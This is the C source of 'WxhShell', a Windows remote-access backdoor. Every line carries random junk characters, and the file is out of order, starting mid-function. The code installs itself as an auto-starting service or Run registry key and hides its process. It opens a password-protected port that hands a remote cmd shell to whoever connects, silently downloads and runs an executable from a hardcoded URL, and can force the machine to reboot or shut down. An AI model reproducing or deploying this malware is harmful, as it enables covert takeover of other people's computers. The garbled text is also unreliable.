    if(Boot(SHUTDOWN)) .nV2 n@SR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >J"IN I  
    else { DA=!AK>  
    closesocket(wsh); tDByOml8Ix  
    ExitThread(0); E-LkP;  
    } !iXRt")  
    break; 8$00\><r  
    } -(VJ,)8t2  
  // 获取shell ul{x|R  
  case 's': { mh }M|h5Im  
    CmdShell(wsh); jW/WG tz  
    closesocket(wsh); qY_qS=H^  
    ExitThread(0); yzK;  
    break;  vSzpx  
  } K!|eN_1A  
  // 退出 VK}4 <u  
  case 'x': { 8&<:(mAP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rTD+7 )E  
    CloseIt(wsh); ?vXgHDs^T  
    break; wjarQog5Y  
    } =u~nLL  
  // 离开 Lx"GBEkt7  
  case 'q': { q*!R4yE;C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'H1~Zhv  
    closesocket(wsh); `y8pwWo-o  
    WSACleanup(); _\!]MV  
    exit(1); \j8vf0c5b  
    break; ]TV_ p[L0B  
        }  tm1 =  
  } pP<8zTLn  
  } c{#2;k Q,  
/qpSmRL  
  // 提示信息 h$S#fY8   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y\xEPh  
} R|; BO:S1  
  } 1#vy# '  
G5ATR<0m  
  return; sqkWQ`Ur  
} nep#L>LP$x  
XqH@3Ehk  
// shell模块句柄 ^W |YE72Y  
int CmdShell(SOCKET sock) kUT2/3Vi  
{ I16FVdUun4  
STARTUPINFO si; ;$p!dI\-Q  
ZeroMemory(&si,sizeof(si)); {gMe<y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <'Q6\R}:vC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]xC56se  
PROCESS_INFORMATION ProcessInfo;  *7m lH  
char cmdline[]="cmd"; TG2#$Bq1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {DO9%ej)  
  return 0;  F/Goq`  
} E0HqXd?  
CTMC78=9}  
// 自身启动模式 Nc[@QC{  
int StartFromService(void)  A l[ZU  
{ wO??"${OH  
typedef struct K:Z$V  
{ Y;'<u\^M"  
  DWORD ExitStatus; D 0Xl`0"'  
  DWORD PebBaseAddress; p1N}2]e  
  DWORD AffinityMask; IQqUFP$8g  
  DWORD BasePriority; F)3+IuY  
  ULONG UniqueProcessId; lyn%r  
  ULONG InheritedFromUniqueProcessId; TrI+F+;  
}   PROCESS_BASIC_INFORMATION; R'BB-  
:e<jD_.X  
PROCNTQSIP NtQueryInformationProcess; MU<(O}  
mV0,T*}e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yC' y>f`H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2>z YJqG|  
}YwaN'3p!  
  HANDLE             hProcess; 1 ?@HOu  
  PROCESS_BASIC_INFORMATION pbi; /9vi  
AXyXK??  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B,b8\\^k|  
  if(NULL == hInst ) return 0; "Eh=@?]S_  
ax@H^Gj@2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S-t#d7'B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *-VRkS-G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eORXyh\K  
k1&9 bgI  
  if (!NtQueryInformationProcess) return 0; `46~j  
g`fG84  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *s6 x  
  if(!hProcess) return 0; zs$r>rlO  
$6"sRI6u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9A |A@E#  
-CPtYG[s  
  CloseHandle(hProcess); 7x)Pt@c  
jAJ='|[X\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cILS  
if(hProcess==NULL) return 0; I}f`iBG  
@SfQbM##%  
HMODULE hMod; +pd,gG?dW  
char procName[255]; xGs}hVlZiC  
unsigned long cbNeeded; s-p)^B  
HxI6_>n^I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J4bP(=w!  
A?R`~*Q5  
  CloseHandle(hProcess); 91OxUVd  
2z>-H595az  
if(strstr(procName,"services")) return 1; // 以服务启动 %=**cvVy  
zlMh^+rMX  
  return 0; // 注册表启动 .n:Q~GEL  
} %H{pU:[5*  
]r`;89:s>  
// 主模块 -K{R7  
int StartWxhshell(LPSTR lpCmdLine) "i&)+dr-  
{ B{Q}^Mcxy  
  SOCKET wsl; <rC%$tr  
BOOL val=TRUE; o.KnDY  
  int port=0; ]4aPn  
  struct sockaddr_in door; s`yzeo  
w8lrpbLh  
  if(wscfg.ws_autoins) Install(); zx@!8Z  
<G pji5f2  
port=atoi(lpCmdLine); $dfc@Fn^x  
T//xxH]w-  
if(port<=0) port=wscfg.ws_port; $6Ma{rC|  
qbyYNlXqm  
  WSADATA data; \'|n.1Fr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jr!^9i2j'  
t:wBh'K~R8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h'y"`k -  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yr\ClIU  
  door.sin_family = AF_INET; 0%%1:W-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jn+-G4h$  
  door.sin_port = htons(port); ?Q:SVxzUd  
w=KfkdAJ*/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sx?IIFF  
closesocket(wsl); F ~A $7  
return 1; Jg#0g eU  
} i(~DhXz*T  
#j2kT  
  if(listen(wsl,2) == INVALID_SOCKET) { k>&cHCS`*  
closesocket(wsl); =.`\V]  
return 1; 7@@g|l]  
} gvP-doA7W  
  Wxhshell(wsl); N~/ 'EaO  
  WSACleanup(); z;JV3) E  
@]qP:h.  
return 0; = l(euBb  
v3"6'.f;bY  
} "Enb   
4cQP+n  
// 以NT服务方式启动 KV0*dB;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k^ <]:B  
{ !wp1Df[  
DWORD   status = 0; $+j1^  
  DWORD   specificError = 0xfffffff; bM?gAY]mB8  
7O1MC 8{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '$FF/|{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oAO{4xP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XG|N$~N+2  
  serviceStatus.dwWin32ExitCode     = 0; } =OE.cf@  
  serviceStatus.dwServiceSpecificExitCode = 0; V]|X ,G  
  serviceStatus.dwCheckPoint       = 0; y:)^*2GA-B  
  serviceStatus.dwWaitHint       = 0; * JK0X  
]:e_Y,@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); izP )t  
  if (hServiceStatusHandle==0) return; C0N :z.)4  
 l"ms:v  
status = GetLastError(); B[8bkFS>]  
  if (status!=NO_ERROR) s{b\\$Rb  
{ Jc":zR@5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O9daeIF0#  
    serviceStatus.dwCheckPoint       = 0; Pd7\Q]of  
    serviceStatus.dwWaitHint       = 0; 8"%Es  
    serviceStatus.dwWin32ExitCode     = status; R-%6v2;ry  
    serviceStatus.dwServiceSpecificExitCode = specificError; $0$sM/%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NP;W=A F  
    return; 0AHQ(+Ap  
  } tV !?Ol  
t:2DB)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @43psq1  
  serviceStatus.dwCheckPoint       = 0; <,CrE5Pl  
  serviceStatus.dwWaitHint       = 0; U:8[%a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t7byOMC  
} 'K4FS(q  
\3hA_{ w  
// 处理NT服务事件,比如:启动、停止 T'pL&@,Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m-t: ' B  
{ )Qb,zS6  
switch(fdwControl) i~h@}0WR"  
{ z}E_ wg  
case SERVICE_CONTROL_STOP: \%<M[r=  
  serviceStatus.dwWin32ExitCode = 0; }{R*pmv$bN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NQ`D"n  
  serviceStatus.dwCheckPoint   = 0; ]5'$EAsuW  
  serviceStatus.dwWaitHint     = 0; 8m"k3:e^  
  { 3(c-o0M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `,]Bs*~  
  } CH6 m  
  return; C*mVM!D);!  
case SERVICE_CONTROL_PAUSE: *}\M!u{J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u"h/ERCa  
  break; }JFTe g  
case SERVICE_CONTROL_CONTINUE: t5{P'v9J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @v2<T1UC  
  break; EHUx~Q   
case SERVICE_CONTROL_INTERROGATE: Ef]Hpjvp  
  break; 3en 9TB  
}; mG S4W;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z>W:+W"o  
} %>FtA)  
IV,4BQ$  
// 标准应用程序主函数 G(t:s5:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6qT@M0)i  
{ SES.&e|!6  
?4':~;~  
// 获取操作系统版本 CyIlv0fd}  
OsIsNt=GetOsVer(); FMdu30JV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ! AwMD  
uG\~Hxqw7O  
  // 从命令行安装 *I 1H  
  if(strpbrk(lpCmdLine,"iI")) Install(); X%b1KG|#(  
%mC@}  
  // 下载执行文件 ny{C,1QG  
if(wscfg.ws_downexe) { Om*QN]lGq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Et3]n$  
  WinExec(wscfg.ws_filenam,SW_HIDE); /x49!8  
} 0j@mzd2  
;MN$.x+  
if(!OsIsNt) { T >8P1p@A,  
// 如果时win9x,隐藏进程并且设置为注册表启动 iTHwH{!  
HideProc(); x)C}  
StartWxhshell(lpCmdLine); j*>J1M3E  
} [1rQ'FBB^1  
else u=0O3-\h  
  if(StartFromService()) {JfQQP&FV  
  // 以服务方式启动 |<Ls;:5.  
  StartServiceCtrlDispatcher(DispatchTable); \\SQACN  
else 1gHe$ dzXk  
  // 普通方式启动 c~hH 7/v  
  StartWxhshell(lpCmdLine); M|blg!j;  
|O(>{GH  
return 0; t9`{^<LH  
} /1 EAj  
qA[lL(  
gBqDx|G  
?L }>9$"  
===========================================  rDFrreQP  
( eKgc  
aMI;; iL^  
LhO\a  
0%bCP/  
NQqw|3  
" )M0`dy{1  
5t:Zp\$+`  
#include <stdio.h> yX!fj\R  
#include <string.h> == wX.y\.n  
#include <windows.h> \dHqCQ  
#include <winsock2.h> !R@LC  
#include <winsvc.h> gC?}1]9c  
#include <urlmon.h> k'iiRRM  
J2qsZ  
#pragma comment (lib, "Ws2_32.lib") (1z"=NCp  
#pragma comment (lib, "urlmon.lib") ]({ -vG\m  
5qrD~D '  
#define MAX_USER   100 // 最大客户端连接数 b^HDN(v  
#define BUF_SOCK   200 // sock buffer \=0;EI-j  
#define KEY_BUFF   255 // 输入 buffer ]1++$Ej  
)|*Qs${tF  
#define REBOOT     0   // 重启 d7^ `  
#define SHUTDOWN   1   // 关机 |5vcT, A  
<ww D*t  
#define DEF_PORT   5000 // 监听端口 c+l1 l0BA  
ZuGSRGX'  
#define REG_LEN     16   // 注册表键长度 D|OGlP  
#define SVC_LEN     80   // NT服务名长度 CmB_g?K  
Rs=Fcvl  
// 从dll定义API UC+Qn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I<2`wL=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7RT{RE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c=u+X` Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lfAy$qP"}  
3uYLA4[-B  
// wxhshell配置信息 k1,k 9BK  
struct WSCFG { =b%f@x_U1  
  int ws_port;         // 监听端口 ~m=GS[=  
  char ws_passstr[REG_LEN]; // 口令 IBNg2Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no cx:_5GF  
  char ws_regname[REG_LEN]; // 注册表键名 %<kfW&_>w  
  char ws_svcname[REG_LEN]; // 服务名 .OJG o<#$f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0se%|Z|8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F/2cQ .u2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tz]0F5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o'lG9ePM|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `p\%ha!,w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /D"T\KNWr  
im*sSz 0 (  
}; 7=fM}sk  
"\*)KH`C  
// default Wxhshell configuration a>GA=r  
struct WSCFG wscfg={DEF_PORT, 3.YH7rN  
    "xuhuanlingzhe", | +;ZC y  
    1, DG;u_6;JR  
    "Wxhshell", :kHk'.V1(  
    "Wxhshell", lH3.q4D 5  
            "WxhShell Service", -=lm`X<:  
    "Wrsky Windows CmdShell Service", `&NFl'l1C  
    "Please Input Your Password: ", v.W!  
  1, Kvg=7o  
  "http://www.wrsky.com/wxhshell.exe", lB27Z}   
  "Wxhshell.exe" oI -Fr0!  
    }; W_XFTqp^  
(m1m}* @  
// 消息定义模块 wA{) 9.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W^elzN(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vE9"1M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b#I,Z+0ry  
char *msg_ws_ext="\n\rExit."; '\{ OQ H  
char *msg_ws_end="\n\rQuit."; HVvm3qu4  
char *msg_ws_boot="\n\rReboot..."; <uIPv Zsx  
char *msg_ws_poff="\n\rShutdown..."; `G":y[Q  
char *msg_ws_down="\n\rSave to "; \zJ^XpC  
^:?z7m  
char *msg_ws_err="\n\rErr!"; q2 7Ac; y  
char *msg_ws_ok="\n\rOK!"; W4 q9pHQ  
 5V<6_o  
char ExeFile[MAX_PATH]; 9y\nO)\Tv  
int nUser = 0; w8D8\`i!"  
HANDLE handles[MAX_USER]; &K]|{1+  
int OsIsNt; X:Y1g)|K  
`_vPElQXZ#  
SERVICE_STATUS       serviceStatus; Vc'p+e|(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [%>*P~6nK  
q"Bd-?9  
// 函数声明 @d Qr^'h  
int Install(void); Yy 4Was#  
int Uninstall(void); "a(R>PV%  
int DownloadFile(char *sURL, SOCKET wsh); ^Whc<>|  
int Boot(int flag); `T[yyOL/  
void HideProc(void); [vtDtwL  
int GetOsVer(void); ?bd!JW bg`  
int Wxhshell(SOCKET wsl); <;i&-,  
void TalkWithClient(void *cs); Z2{$FN  
int CmdShell(SOCKET sock); B#."cg4VR  
int StartFromService(void); C|}yE ;*a  
int StartWxhshell(LPSTR lpCmdLine); 'q9Ejig  
] Q^8 9?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ])pX)(a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R&s/s`pLW  
Jur$O,u40l  
// 数据结构和表定义 0D:uM$ i]  
SERVICE_TABLE_ENTRY DispatchTable[] = @uC-dXA"  
{ 3znhpHO)  
{wscfg.ws_svcname, NTServiceMain}, M/V"Ke"N  
{NULL, NULL} F-Z>WC{+  
}; Ge$&k  
y~_x  
// 自我安装 &\?{%xj  
int Install(void)  UDpI @  
{ $_ $%L0)5  
  char svExeFile[MAX_PATH]; .WOF:Nu4  
  HKEY key; IwFf8? 3  
  strcpy(svExeFile,ExeFile); M-Nn \h$,  
>VjtKSN  
// 如果是win9x系统,修改注册表设为自启动 f].z.  
if(!OsIsNt) { z=k*D^X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZbH6$2r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D622:Y886  
  RegCloseKey(key); Zo-Au  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zh !/24p9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JmF`5  
  RegCloseKey(key); K~L"A]+  
  return 0; @TKQ_7BcB  
    } 7({.kD6  
  } $o\U q  
} "z.!h(Eq  
else { y^p%/p%  
@Ng q+uXm  
// 如果是NT以上系统,安装为系统服务 [\HAJA,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nkkGJV!  
if (schSCManager!=0) suj}A  
{ jaThS!>v  
  SC_HANDLE schService = CreateService t[%=[pJHW  
  ( fZd~},X  
  schSCManager, :+DAzjwO<  
  wscfg.ws_svcname, :?%_JM5U  
  wscfg.ws_svcdisp, >fR#U"KPAB  
  SERVICE_ALL_ACCESS, b=Sl`&A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]:^kw$  
  SERVICE_AUTO_START, d@|j>Z  
  SERVICE_ERROR_NORMAL, '9wD+'c=A  
  svExeFile, S4O:?^28  
  NULL, >|T?87  
  NULL, =7P; /EV  
  NULL, /=OSGIJzm  
  NULL, MD:kfPQ  
  NULL G[yN*C  
  ); Dc> )js|"  
  if (schService!=0) r52,f%nlm  
  { ,TO&KO1;&  
  CloseServiceHandle(schService); \;tKss!|  
  CloseServiceHandle(schSCManager); qpc2;3*7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S4~;bsSx  
  strcat(svExeFile,wscfg.ws_svcname); tX *L_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CtDS lJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PzTTL=G +  
  RegCloseKey(key); w_J`29uc  
  return 0; RZE:WE;5  
    } HNoh B4vt  
  } +ACV,GG  
  CloseServiceHandle(schSCManager); ;v+CQx  
} OEGAwP?F  
} oB Bdk@  
5p{tt;9[  
return 1; s: q15"  
} m9>nv rQ  
*t|j+*c}  
// 自我卸载 .'AHIR&>  
int Uninstall(void) u&I~%s  
{ ~(0Y`+gC  
  HKEY key; j'0*|f^z  
/0YNB)  
if(!OsIsNt) { vDOeBw=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IO_H%/v"jC  
  RegDeleteValue(key,wscfg.ws_regname); 7erao-  
  RegCloseKey(key); .}y Lz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8QZk0O  
  RegDeleteValue(key,wscfg.ws_regname); z06pX$Q.<  
  RegCloseKey(key); SS~Txt75m  
  return 0; yxQAO_C  
  } \&qVr1|  
} ^lMnwqx<  
} (U dDp"/  
else { a m zw  
;09J;sf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |]\bgh  
if (schSCManager!=0) |)JoxqR  
{ _&![s]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zB]T5]  
  if (schService!=0) fAUsJ[  
  { s* YFN#Wuc  
  if(DeleteService(schService)!=0) { ujWHO$uz!  
  CloseServiceHandle(schService); S@"=,Xj M  
  CloseServiceHandle(schSCManager); K ;xW/7?  
  return 0; 'IW+"o  
  } FW.dHvNX  
  CloseServiceHandle(schService); Q#r 0DWo\  
  } /eMZTh*1P  
  CloseServiceHandle(schSCManager); qiF~I0_0  
} {4m"S 7O  
} a&ByV!%%+_  
2nie I*[  
return 1; fY"28#   
} O}D8  
RK3/!C`  
// 从指定url下载文件 X5/{Mx`8Oz  
int DownloadFile(char *sURL, SOCKET wsh) coFg69\^  
{ O`0$pn  
  HRESULT hr; x[^A9  
char seps[]= "/"; r;T/  
char *token; QF;<%QF:  
char *file; NU(/Yit  
char myURL[MAX_PATH]; h{xER IV1u  
char myFILE[MAX_PATH]; ?-84_i  
,] {NZ9  
strcpy(myURL,sURL); EXFxiw  
  token=strtok(myURL,seps); rYS D-Kq  
  while(token!=NULL) *f#4S_ws`  
  { "AK3t' jF*  
    file=token; jr l6):x  
  token=strtok(NULL,seps); E\*",MGL  
  } 9cmJD5OO  
+?:V\niQI  
GetCurrentDirectory(MAX_PATH,myFILE); \ +xIH  
strcat(myFILE, "\\"); PC_4#6^5  
strcat(myFILE, file); &"h!SkX/  
  send(wsh,myFILE,strlen(myFILE),0); ,< icW &a  
send(wsh,"...",3,0); uWInx6p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QPcB_wUqu  
  if(hr==S_OK) >oNk(. %  
return 0; Z%{f[|h9}  
else '> Q$5R1  
return 1; U ^9oc&  
S+y2eP G  
} =5M>\vt]  
dJ^`9W  
// 系统电源模块 %Nn'p"  
int Boot(int flag) V6{xX0'b*m  
{ =|%T E   
  HANDLE hToken; W7o/  
  TOKEN_PRIVILEGES tkp; {|E7N"Qzg  
,h._iO)I^  
  if(OsIsNt) { p,8Z{mLn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bN&da [K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r?I(me,  
    tkp.PrivilegeCount = 1; nu<!/O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q8q_w2s,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pvw%,=41O  
if(flag==REBOOT) { w$ {  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cj#q7  
  return 0; %$x FnGb  
} 6 {Z\cwP)c  
else { x+e _pb   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yMkd|1  
  return 0; $bosGG  
} 9p4U\hx  
  } ex+AT;o  
  else { 5Z,lWp2A  
if(flag==REBOOT) { /,UkT*+>!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~`E4E  
  return 0; ? $ c  
} 5U jQLB  
else { kwR@oVR^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vNSf:5H$  
  return 0; TMCA?r%Y\  
} w0Y%}7  
} wS0bk<(  
?&m]du#6  
return 1; \Agg6tY r  
} \W^+vuD8  
N=wy)+  
// win9x进程隐藏模块 y}HC\A77uD  
void HideProc(void) KgWT&^t  
{ p ri{vveN@  
=3C)sz}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  Zwns|23n  
  if ( hKernel != NULL ) +:%FJCOT  
  { K>6k@okO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s*~o%emw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DZ.trtK  
    FreeLibrary(hKernel);  0QqzS  
  } HjS^ nYl  
kG$8E  
return; =+S3S{\CK  
} X2YOD2<v  
am+mXb  
// 获取操作系统版本 ha! "BR  
int GetOsVer(void) !cwVJe  
{ W? ||9  
  OSVERSIONINFO winfo; S5KYZ W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _l=  
  GetVersionEx(&winfo); _ng =5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C}'="g^=sl  
  return 1; Ef!p:HBJ  
  else gdE`UZ\  
  return 0; {taVAcb  
} 8G] m7Z  
eI rmD  
// 客户端句柄模块 zN)\2  
int Wxhshell(SOCKET wsl) cCGXB|9fYR  
{ S!W/K!wf  
  SOCKET wsh; X\2hKUkT  
  struct sockaddr_in client; bXwoJ2  
  DWORD myID; .r5oN+?e  
.4FcZJvy  
  while(nUser<MAX_USER) XuoEAu8]  
{ n(YHk\2  
  int nSize=sizeof(client); /8t+d.r;/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l )*,18n  
  if(wsh==INVALID_SOCKET) return 1; cievC,3*  
Wd56B+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1 3 `0d  
if(handles[nUser]==0) e)dWa'2<  
  closesocket(wsh); D8AIV K]  
else tlLn  
  nUser++; )z235}P  
  } {a8^6dm*E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]j2v"n  
uE#,c\[8  
  return 0; g)?g7{&?>?  
} zZ"U9!T  
)]c3bMVE-  
// 关闭 socket n,a5LR  
void CloseIt(SOCKET wsh) EvqAi/(g  
{ )QCM2  
closesocket(wsh); !FO^:V<|5  
nUser--; #lshN,CPm  
ExitThread(0); 6mpg&'>  
} oXlxPN39  
@ PoFxv  
// 客户端请求句柄 fCf#zV[  
void TalkWithClient(void *cs) K}E7|gdG  
{ W#jZRviyq!  
tWSvxGCzn%  
  SOCKET wsh=(SOCKET)cs; R=9~*9  
  char pwd[SVC_LEN]; A9l})_~i  
  char cmd[KEY_BUFF]; {_XrZ(y/  
char chr[1]; o;4e)tK  
int i,j; ~@uY?jr  
k3>ur>aW  
  while (nUser < MAX_USER) { "G9'm  
AOlt,MNpQ  
if(wscfg.ws_passstr) { =6Sj}/   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wd` QpW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C nSX  
  //ZeroMemory(pwd,KEY_BUFF); s'aV qB  
      i=0; q bZ,K@0  
  while(i<SVC_LEN) { ?(/j<,m^  
mDF"&.(j  
  // 设置超时 $rpTs?j*K$  
  fd_set FdRead; ]a6O(]  
  struct timeval TimeOut; Ly)(_Tp@+  
  FD_ZERO(&FdRead); A` o?+2s_  
  FD_SET(wsh,&FdRead); wL-ydMIx  
  TimeOut.tv_sec=8; _m7U-;G  
  TimeOut.tv_usec=0; grCO-S|j^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (!VMnLlXRK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xa{<R+LR  
:\+{;;a@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I51oG:6fR?  
  pwd=chr[0]; J(EaE2  
  if(chr[0]==0xd || chr[0]==0xa) { X(y  
  pwd=0; YF! &*6m  
  break; =qp}p'BYe  
  } lQdnL.w$.4  
  i++; 6/mkJj+"  
    } |ON&._`LH  
i,'Ka[6   
  // 如果是非法用户,关闭 socket O| 1f^_S/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xdL/0 N3  
} Z[k#AgC)  
d2A wvP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T1(j l)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &8]#RQy{f  
3_L1Wm  
while(1) { xz"Z3B  
ke}Y 2sB  
  ZeroMemory(cmd,KEY_BUFF); ,yk PQzO  
WO.0K5nfk  
      // 自动支持客户端 telnet标准   uS,p|}Q&  
  j=0; bvip bf[m<  
  while(j<KEY_BUFF) { nxyjL)!)0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /i{tS`[F2a  
  cmd[j]=chr[0]; ~IlF*Zz#}6  
  if(chr[0]==0xa || chr[0]==0xd) { oI_oz0nHk  
  cmd[j]=0; >,>;)B@J  
  break; aJ6#=G61l  
  } s-C!uq  
  j++; cXk6e.Uz  
    } llHc=&y#  
.Na&I)udX.  
  // 下载文件 S9HBr  
  if(strstr(cmd,"http://")) { NV} RRs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =de<WoKnu2  
  if(DownloadFile(cmd,wsh)) +z:CZ(fb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O->_/_  
  else (ve+,H6w\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]~ !X iCqu  
  } u/gm10<OWa  
  else { (px*R~}  
]{IR&{EI-  
    switch(cmd[0]) { lx{.H,1~  
  &GdL 9!hH  
  // 帮助 r]k*7PK  
  case '?': { Kajkw>z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hva2j<h  
    break; &l. x:eD  
